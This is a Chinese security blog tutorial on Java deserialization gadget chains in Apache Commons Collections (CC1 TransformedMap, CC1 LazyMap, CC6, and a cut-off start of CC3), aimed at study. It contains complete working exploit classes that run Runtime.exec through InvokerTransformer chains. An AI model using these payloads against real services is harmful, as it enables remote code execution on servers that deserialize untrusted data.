1

Java反序列化之CommonsCollections

 1 year ago
source link: https://ethe448.github.io/2023/03/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommonsCollections/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Commons Collections

Apache Commons Collections包和简介 | 闪烁之狐 (blinkfox.github.io)

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

Collections的包结构和简单介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类
* *********** 常用类  ***********
* 1. org.apache.commons.collections4.CollectionUtils
*      isEmpty 判断集合是否为空
*      isNotEmpty 判断集合不为空
*      isEqualCollection 比较两集合值是否相等, 不考虑元素的顺序
*      union 并集, 不会去除重复元素
*      intersection 交集
*      disjunction 交集的补集
*      subtract 差集, 不去重
*      unmodifiableCollection 得到一个集合镜像,不允许修改,否则报错
*      containsAny 判断两个集合是否有相同元素
*      getCardinalityMap 统计集合中各元素出现的次数,并以Map<Object, Integer>输出
*      isSubCollection a是否 b 的子集合, a集合大小 <= b集合大小
*      isProperSubCollection a是否 b 的子集合, a集合大小 < b集合大小
*      cardinality 某元素在集合中出现的次数
*      find 返回集合中满足函数式的唯一元素,只返回最先处理符合条件的唯一元素, 以废弃
*      filter 过滤集合中满足函数式的所有元素
*      transform 转换新的集合,对集合中元素进行操作,如每个元素都累加1
*      countMatches 返回集合中满足函数式的数量
*      select 将满足表达式的元素存入新集合中并返回新集合元素对象
*      selectRejected 将不满足表达式的元素存入新集合中并返回新集合元素对象
*      collect  collect底层调用的transform方法, 将所有元素进行处理,并返回新的集合
*      addAll  将一个数组或集合中的元素全部添加到另一个集合中
*      get 返回集合中指定下标元素
*      isFull 判断集合是否为空
*      maxSize 返回集合最大空间
*      predicatedCollection 只要集合中元素不满足表达式就抛出异常
*      removeAll 删除集合的子集合
*      synchronizedCollection 同步集合
*
* 2. org.apache.commons.collections4.MapUtils
*      isEmpty 判断Map是否为空
*      isNotEmpty 判断Map是否不为空
*      getBoolean 从Map中获取 Boolean, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getBooleanValue 从Map中获取 boolean, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getDouble 从Map中获取 Double, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getDoubleValue 从Map中获取 double, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getFloat 从Map中获取 Float, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getFloatValue 从Map中获取 float, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getInteger 从Map中获取 Integer, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getIntegerValue 从Map中获取 int, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getLong 从Map中获取 Long, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getLongValue 从Map中获取 long, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getString 从Map中获取 String, 其重载方法有三个参数, 表示如果转换失败则使用默认值
*      getMap 获取Map类型的值
*      putAll 将二维数组放入Map中
*
*/

关于cc1的反序列化,网上一般有两条链子,一个就是ysoserial中的lazymap链,还有transformedmap链

后面的具体配置可以看Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibiliJava反序列化Commons-Collections篇01-CC1链 | 芜风 (drun1baby.top)

执行类分析

我们要先了解一下在cc1里实现了Transformer接口的几个方法

image-20230319190319370
image-20230319190319370

ChainedTransformer:输入对象将传递给第一个转换器。转换后的结果将传递给第二个转换器,依此类推。类似递归的操作,每次转换的输出结果将作为下一次转换的输入。

image-20230320091529005
image-20230320091529005

InvokerTransformer:通过反射创建新的对象实例的转换器实现。InvokerTransformer 是 Apache Commons Collections 库中的一个类,它可以通过反射机制调用指定对象的指定方法,并返回方法执行结果。它是一个转换器(Transformer)实现,用于将输入对象转换为调用指定方法后的返回值。

InvokeTransformer重写的transform函数是cc1链的关键点

ConstantTransformer :它是一个转换器(Transformer)实现,用于将输入对象转换为一个固定的常量值。

image-20230320091719221
image-20230320091719221

这里我们先重点说一下InvokerTransformer

InvokerTransformer的有参构造需要三个参数

image-20230319191555790
image-20230319191555790

这三个参数在transform方法里都有用到,从这里我们能分别看出这三个函数的作用。methodName是需要获取的方法名,paramTypes是这个方法的参数类型,args参数则是它的参数列表。同时input也是transform的形参,也就是说是,我们可以利用InvokerTransformer.transform以反射的方式去调用一些其他的方法

image-20230319191708721
image-20230319191708721

然后我们试着去调用Runtime

首先正常使用是

Runtime.getRuntime().exec("calc");

通过反射则是

Runtime runtime = Runtime.getRuntime();
//获得类对象
Class r = Runtime.class;
//获得exec方法
Method exec = r.getMethod("exec", String.class);
//执行calc命令
exec.invoke(runtime,"calc");

利用InvokerTransformer.transform执行命令

Runtime runtime = Runtime.getRuntime();

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
image-20230319193947552
image-20230319193947552

那么假设我们在序列化中传入了InvokerTransformer类,如果在反序列化的过程中,有能够触发transform的地方,不就可以实现命令执行了吗?

现在我们已经找完反序列化中的执行类了,接下来就需要去找有没有哪里调用了transform

这里能够利用的地方一共有两处,分别是LazyMap和TransformedMap,这也造成了cc1的两条链

image-20230319194549513
image-20230319194549513

TransformedMap链

//transformValue方法
protected Object transformValue(Object object) {
    if (valueTransformer == null) {
        return object;
    }
    return valueTransformer.transform(object);
}
//checkSetValue方法
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}
//transformKey方法
protected Object transformKey(Object object) {
    if (keyTransformer == null) {
        return object;
    }
    return keyTransformer.transform(object);
}

这三处调用transform的方法其实根本上都差不多,都是调用keyTransformer或valueTransformer的transform方法,而keyTransformer和valueTransformer在构造函数中都进行了赋值

image-20230319195321514
image-20230319195321514

TransformedMap:TransformedMap 是 Apache Commons Collections 框架中的一个类,它实现了一个 Map 接口,可以对其所包含的键值对进行转换操作。可以在原有的 Map 对象的基础上,提供一种能够对键或值进行自定义转换的方式。具体来说,TransformedMap 实例将会对 get、put 和 containsKey 方法进行重载,从而在访问 Map 中的键值对时,通过指定的转换器来对键或值进行转换操作。

这个构造方法是protected类型的,所以类中肯定还有其他方法调用了这个构造方法

image-20230319201341859
image-20230319201341859

decorate这个静态方法我们可以很方便的调用,接下来只要找到有调用checkSetValue、transformValue、transformKey三个方法其中之一的我们可以利用的函数就也可以执行命令了。

满足这个条件的其实在TransformedMap 下就有一个

image-20230319201716424
image-20230319201716424

调用了transformValue和transformKey,利用这个我们可以再写出一种在不直接调用InvokerTransformer.transform方法的命令执行路径

Runtime runtime = Runtime.getRuntime();

InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap();
//可以触发两次//将keyTransformer和valueTransformer都成为exec,实际上put之后就会变成transform(exec)
Map decorate = TransformedMap.decorate(map, exec, exec);
Object calc = decorate.put(runtime, runtime);

如果我们能再找到调用了put方法的函数,可能也能找到一条反序列化的利用链。

不过这和我们的TransformedMap 链没有关系,我们要利用的是第三个函数checkSetValue,

在AbstractInputCheckedMapDecorator抽象类中的一个静态类MapEntry中的setValue方法中就调用了checkSetValue方法

image-20230319202421645
image-20230319202421645

那接下来我们就需要去找哪里能够触发AbstractInputCheckedMapDecorator.MapEntry.setValue()

MapEntry是AbstractMapEntryDecorator的子类,而AbstractMapEntryDecorator又实现了Map.Entry接口,可以看出MapEntry中的setValue方法其实就是Entry中的setValue方法的重写

image-20230320092545105
image-20230320092545105

当 TransformedMap执行transformedMap.entrySet()得到的entry[]数组元素都是AbstractInputCheckedMapDecorator类的对象,

可以通过执行以下代码,在entry.setValue打断点确认entry的类型

public class test {
    public static void main(String[] args) {
        Runtime runtime = Runtime.getRuntime();
        HashMap<Object, Object> map = new HashMap<>();
        map.put("set_key", "set_value");
        Transformer invokerTransformer =new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});;
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
        for (Map.Entry entry : transformedMap.entrySet()) {
            entry.setValue(runtime);
        }

    }
}
image-20230319205617940
image-20230319205617940

这里entry是AbstractInputCheckedMapDecorator类型的,所以这里的setValue()实际上就是在 Map 中对一组 entry(键值对)进行setValue()操作。

所以触发AbstractInputCheckedMapDecorator.MapEntry.setValue()的方式我们也清楚了,对Map进行遍历并调用setValue就可以了

而在AnnotationinvocationHandler的readObject方法中,恰好有这样一个既遍历了Map,又对Map.Entry调用了setValue方法

image-20230319211536405
image-20230319211536405

我们再看一下AnnotationinvocationHandler

image-20230319214819709
image-20230319214819709

在构造方法中需要两个参数,一个是继承了Annotation的类对象,另一个是Map类型的值,这个map就是我们调用TransformedMap.decorate后返回的数值。

而且由于这个类不是public类型的,所以需要利用反射去实例化

到这里我们的整个利用链就已经可以整理出来了

入口类是AnnotationinvocationHandler

执行类是InvokerTransformer

AnnotationinvocationHandler -> readObject

AbstractInputCheckedMapDecorator.MapEntry -> setValue

TransformedMap -> checkSetValue

InvokerTransformer -> transform

我们找到了入口类,利用链,执行类,看起来已经完美了,但是仍存在一些问题需要我们去解决

首先,Runtime对象是我们自己生成的,不能进行序列化

其次,AnnotationinvocationHandler 的readObject函数中还有两个if判断需要我们去解决

最后,setValue中的内容应该是我们要调用的对象,而不是

new AnnotationTypeMismatchExceptionProxy(
    value.getClass() + "[" + value + "]").setMember(
        annotationType.members().get(name))

一、Runtime不能进行序列化

如果Runtime不能序列化,那么我们想要执行的命令也就无法进行序列化,不能通过反序列化达到命令执行的目的

image-20230320110929217
image-20230320110929217

但是,虽然Runtime不能进行序列化,可Runtime.class可以

image-20230319220849369
image-20230319220849369

所以我们同样可以利用反射和InvokerTransformer.transform方法达到能够将我们想要执行的命令进行序列化的目的

//        Class<Runtime> rc = Runtime.class;
//        Method getRuntime = rc.getMethod("getRuntime");
        Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime runtime = (Runtime)getRuntime.invoke(null);//getRuntime是静态方法,所以invoke的第一个参数可以写null
        Runtime runtime = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
//        runtime.exec("calc")
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

这里可以看到其实我们真正需要输入的只有Runtime.class,剩下的都是前一个的输出,所以这里我们可以借助之前提的ChainedTransformer进行简化

Transformer[] t = new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//获得getMethod方法
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//相当于getRuntime.invoke(null),产生一个实例化的Runtime类型对象r
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};//执行r.exec("calc")
//在InvokeTransformer中相当于
//Method method = r.getClass().getMethod(exec, String.class);
//return method.invoke(r, calc);
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
chainedTransformer.transform(Runtime.class);
image-20230319224440542
image-20230319224440542

二、绕过readObject函数中的两个if判断

首先我们创建的hashmap里需要有值,不然memberValues为0,for循环也不会进入

第一个if判断,获取的是我们传入的注解的类里的成员方法,同时Hashmap里的key要和成员方法的名一样

image-20230319225346525
image-20230319225346525

但是Override里并没有成员变量

public @interface Override {
}

所以我们需要换一个,例如Target

image-20230319225537236
image-20230319225537236

这时候就能满足第一个if判断了

image-20230319225619950
image-20230319225619950

而第二个判断是否存在的也肯定满足,因此这个问题也解决了

三、setValue中的内容应该是我们要调用的对象

我们已经知道如果想达到命令执行的目的,必须有这样一个调用方式

chainedTransformer.transform(Runtime.class);

但是现在我们调试时可以看到

setValue里的参数是

new AnnotationTypeMismatchExceptionProxy(
    value.getClass() + "[" + value + "]").setMember(
        annotationType.members().get(name))

这时valueTransformers已经是是我们构造的ChainedTransformer,但value参数并不是我们想要的 Runtime.class

image-20230319230640546
image-20230319230640546

因此这里还需要借助ConstantTransformer,它能将输入对象转换为一个固定的常量值

image-20230319230210283
image-20230319230210283

也就是假设我们将Transformer数组的第一位加上new ConstantTransformer(Runtime.class),也就相当于我们给ConstantTransformer返回的iConstant值设置为了Runtime.class

那么在执行到TransformedMap里的checkSetValue时,第一次的chainedTransformer.transform调用的是ConstantTransformer的transform,返回的内容是固定的Runtime.class,实质上就是相当于将第二次调用transform的value赋值成了Runtime.class,满足了我们想要的chainedTransformer.transform(Runtime.class)

image-20230319231640825
image-20230319231640825

完整的poc为

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {

        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);

        // InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap map = new HashMap();
        map.put("value","value");

        Map decorate = TransformedMap.decorate(map, null, chainedTransformer);
//
        //创建AnnotationinvocationHandler的类对象
        Class<?> AIH_construct = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获取构造方法
        Constructor<?> declaredConstructor = AIH_construct.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        ser(o);
        unser();


    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unser() throws IOException, ClassNotFoundException {
        ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        oi.readObject();
    }
}

入口类是AnnotationinvocationHandler

执行类是InvokerTransformer

AnnotationinvocationHandler.readObject

AbstractInputCheckedMapDecorator.MapEntry.setValue

TransformedMap.checkSetValue

InvokerTransformer.transform

使用到的工具类辅助利用链:

ConstantTransformer

ChainedTransformer

HashMap

LazyMap链1

刚才我们分析完了TransformedMap链,接下来再来看LazyMap

LazyMap类中的get方法调用了transform方法

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

map中的containKey(key)方法是判断Map 集合对象中是否包含指定的键名。如果存在则返回true,反之,返回false

如果我们能让factory是InvokerTransformer 类,并且key为Runtime.class的话,也同样能完成命令执行的目的

先看一下factory的赋值过程

通过静态的decorate调用protected类型的构造方法

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

这里两个参数和Transformed一样,所以要传的东西也一样,这里可以试着触发一下

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Transformer[] t = new Transformer[]{
//                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
        decorate.get(Runtime.class);
image-20230320155927956
image-20230320155927956

上面我们是手动调用的get方法,但是实际上并不会有给我们手动调用get方法的机会,因此我们就要找一个能触发get的方法了

还是我们熟悉的AnnotationInvocationHandler类,里面的invoke方法正好调用了get

image-20230320160634867
image-20230320160634867

而memberValues属性的值也是在构造方法里进行的赋值,是可控的

image-20230320160754287
image-20230320160754287

那要再考虑如何调用invoke

还记得我们提到过的动态代理吗?

要实现动态代理需要有一个实现了InvocationHandler接口的对象,而这个AnnotationInvocationHandler中恰好实现了InvocationHandler接口,动态代理会自动调用实现了InvocationHandler接口的对象中的invoke方法,于是我们可以使用动态代理的方法来调用invoke方法

// 因为AnnotationInvocationHandler不是public的,所以需要通过反射去实例化
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//decorate 就是LazyMap.decorate返回的那个map变量。这时候memverValue就是我们构造好的Map了
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
// 构造动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

接下来去找我们的入口点,还是在AnnotationInvocationHandler的readObject 中,由于动态代理的缘故,

只要memberValue是我们构造的动态代理,就会在执行memberValues.entrySet前,先调用invoke方法,触发我们的调用链

所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹。

Object invocationHandler =  declaredConstructor.newInstance(Override.class, proxyMap);
image-20230320170157464
image-20230320170157464

完整的poc为

package org.LazyMapSer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
//        decorate.get(Runtime.class);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
        Object proxyMap = Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        Object invocationHandler =  declaredConstructor.newInstance(Override.class, proxyMap);

        ser(invocationHandler);
        unser();
    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unser() throws IOException, ClassNotFoundException {
        ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        oi.readObject();
    }
}
image-20230320171427321
image-20230320171427321

入口类和执行类和TransformedMap链一样没变

入口类是AnnotationinvocationHandler

执行类是InvokerTransformer

调用链是:

AnnotationinvocationHandler.readObject

​ memberValues.entrySet()

AnnotationinvocationHandler.invoke

LazyMap.get

​ ChainedTransformer.transform()

​ ConstantTransformer.transform()

InvokerTransformer.transform

使用到的工具类辅助利用链:

ConstantTransformer

ChainedTransformer

HashMap

Proxy

先说一些前置知识

由于cc1的两条链都利用了AnnotationinvocationHandler中的readObject方法,导致在高版本的jdk中由于AnnotationinvocationHandler的readObject方法的修改而无法进行利用。但cc6的链并没有版本限制。

TiredMapEntry类官方的介绍是这可用于使映射条目能够在基础映射上进行更改,没太看懂,但是具体的效果是把输入的Map对象和Object对象以key=value的形式输出出来,Object对象是key。

对LazyMap类中的get方法选择的不同的函数造成了CC1的另一条LazyMap链

在TiredMapEntry中也有一个调用get的方法,这条链被叫做CC6

image-20230320180756995
image-20230320180756995

恰好这个map和key也是在构造函数里赋值的,是我们可以控制的

image-20230320180837381
image-20230320180837381

那么假设map是LazyMap类型,key是Runtime.class,就同样可以实现调用LazyMap.get()的目的了

接下来要去找哪里调用了getValue函数

同样是在TiredMapEntry类,hashCode函数

image-20230320181128596
image-20230320181128596

可以手动调一下,前半部分和之前都一样

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Transformer[] t = new Transformer[]{
//                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, Runtime.class);
        tiedMapEntry.hashCode();
image-20230320181416258
image-20230320181416258

后面就是怎么调hashCode了,如果跟过URLDNS的应该很容易想到就是HashMap

在HashMap重写的readObject里调用了hash函数,而hash函数里就调用了hashCode方法

image-20230320181622385
image-20230320181622385

假设此时的key是tiedMapEntry,整个链子就能成功执行了

按照我们的想法,这个poc该这么构造

Transformer[] t = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("sds","sss");
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "123");
ser(decorate);
unser();

看起来链子很完美,但实际上如果真正运行不会运行成功

image-20230320203448437
image-20230320203448437

他会提示java.lang.ProcessImpl这个类不能进行序列化,为什么会出现这个类呢,原因就是hashMap.put,

put方法会调用hashCode,然后调用TiedMapEntry类里的get方法,恰好get方法里还有个put

image-20230320203656410
image-20230320203656410

而其中的value就是我们命令执行后的一个java.lang.ProcessImpl类型的值

导致执行完后decorate里的内容变为了

image-20230320204007239
image-20230320204007239

造成了无法序列化的问题

image-20230320204209453
image-20230320204209453

另外put后调用的LazyMap的get方法在map中没有这个key,也就是在decorate中没有对应的key时将这个key加入decorate,那么在反序列化时,由于decorate已经有了这个key,所以就不满足if判断,直接return了

image-20230320231731235
image-20230320231731235

解决这两个问题都很好办,因为这个键值对的key就是TiedMapEntry里我们传入的第二个参数

所以用decorate.remove(tiedMapEntry.getKey());或者decorate.clear();删了就行(如果是用删除的方法,在用idea调试的过程中不要去看tiedMapEntry属性的值,因为这样会调用tiedMapEntry类中的toString,然后再调getValue,我们前边的删除就白删了)

image-20230321180456163
image-20230321180456163

还有一个问题是如果objectObjectHashMap里有值,那么调用的HashMap里的readObject的key和value第一次就是objectObjectHashMap的key和value,第二次才会到hashMap的键值,很怪,不知道为什么。可能是因为两个HashMap对象反序列化的时候是一块调用的同一个readObject

image-20230320231342833
image-20230320231342833
image-20230320214626642
image-20230320214626642

但如果没有值,key的值就是TiedMapEntry类型的对象

另外由于put的原因,所以在生成的时候也会调用我们的链,所以这里可以利用反射的方式去修改tiedMapEntry里的内容,让其不会执行命令。这里是修改LazyMap的内容

Class LazyMapClass = LazyMap.class;
Field factory = LazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,chainedTransformer);

在put后把factory的值改为我们构造的chainedTransformer,而在LazyMap初始化时的Transformer可以随便填一个Transformer,比如new ConstantTransformer(1)。另外这样还可以让在put时调用的LazyMap的get方法里的put就会变成123=1了,不会出现java.lang.ProcessImpl类型影响反序列化

image-20230321180003691
image-20230321180003691

最终的payload为

package org;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class HashMapTest {
        public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {


        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
//        objectObjectHashMap.put("111","222");

        Map decorate = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "123");

        Class LazyMapClass = LazyMap.class;
        Field factory = LazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,chainedTransformer);

//        decorate.remove(tiedMapEntry.getKey());
        decorate.clear();
        ser(hashMap);
        unser();
    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unser() throws IOException, ClassNotFoundException {
        ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        oi.readObject();
    }
}

调用链为:

HashMap -> readObject

TiedMapEntry -> hashCode

TiredMapEntry -> getValue

LazyMap -> get

​ ChainedTransformer.transform()

​ ConstantTransformer.transform()

InvokerTransformer -> transform

CC3和上面写的CC1和CC6有不小的区别,最大的区别就是原本的 CC1 链与 CC6 链是通过 Runtime.exec() 进行命令执行。

而在CC3里,是通过动态类加载机制来执行恶意代码

动态类加载机制

在类加载的过程中,我们知道字节码加载过程是

loadClass -> findClass -> defineClass

而在Java | Ethe's blog (ethe448.github.io)的类加载机制的部分,我们展示了一种通过ClassLoader.defineClass 字节码加载任意类的攻击方式

不给单纯的调用defineClass是不能执行类的,若要执行就必须先进行实例化

而CC3恰好就是找到了利用defineClass并进行了实例化实现的反序列化攻击

TemplatesImpl类

image-20230321205745553
image-20230321205745553
image-20230321205923522
image-20230321205923522

defineClass被重载了好几次,这里随便讲两个

name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。

现在我们的 defineClass() 方法的作用域为 protected,我们需要找到作用域为 public 的类,方便我们利用。

IDEA里右键查找用法

最后会在TemplatesImpl.TransletClassLoader里找到一个可以利用的地方,这里没有标注作用域,也就是默认的default属性,在同一个包下可以访问

image-20230321210813430
image-20230321210813430

我们再找一下调用它的函数

又被defineTransletClasses调用了,但是又是个private,所以还要接着找

image-20230321211236734
image-20230321211236734

还是TemplatesImpl这个类,getTransletInstance调用了defineTransletClasses

image-20230321211934212
image-20230321211934212

这里的_class值会在defineTransletClasses里赋值为defineClass加载后的字节码,然后再借助后面的newInstance就能实现恶意类的实例化,然后执行恶意代码。但是这个还是private,所以还要去找一个public的。

image-20230321223945893
image-20230321223945893

恰好这里就有一个

image-20230321212359633
image-20230321212359633

找到这里之后我们就可以先想办法去利用我们之前找到的这些去试着动态加载类了

TemplatesImpl利用

理论上只要调用new TemplatesImpl(),然后调用newTransformer方法就能到达defineClass(),然后加载恶意类。但在这里面还有一些代码逻辑上的问题

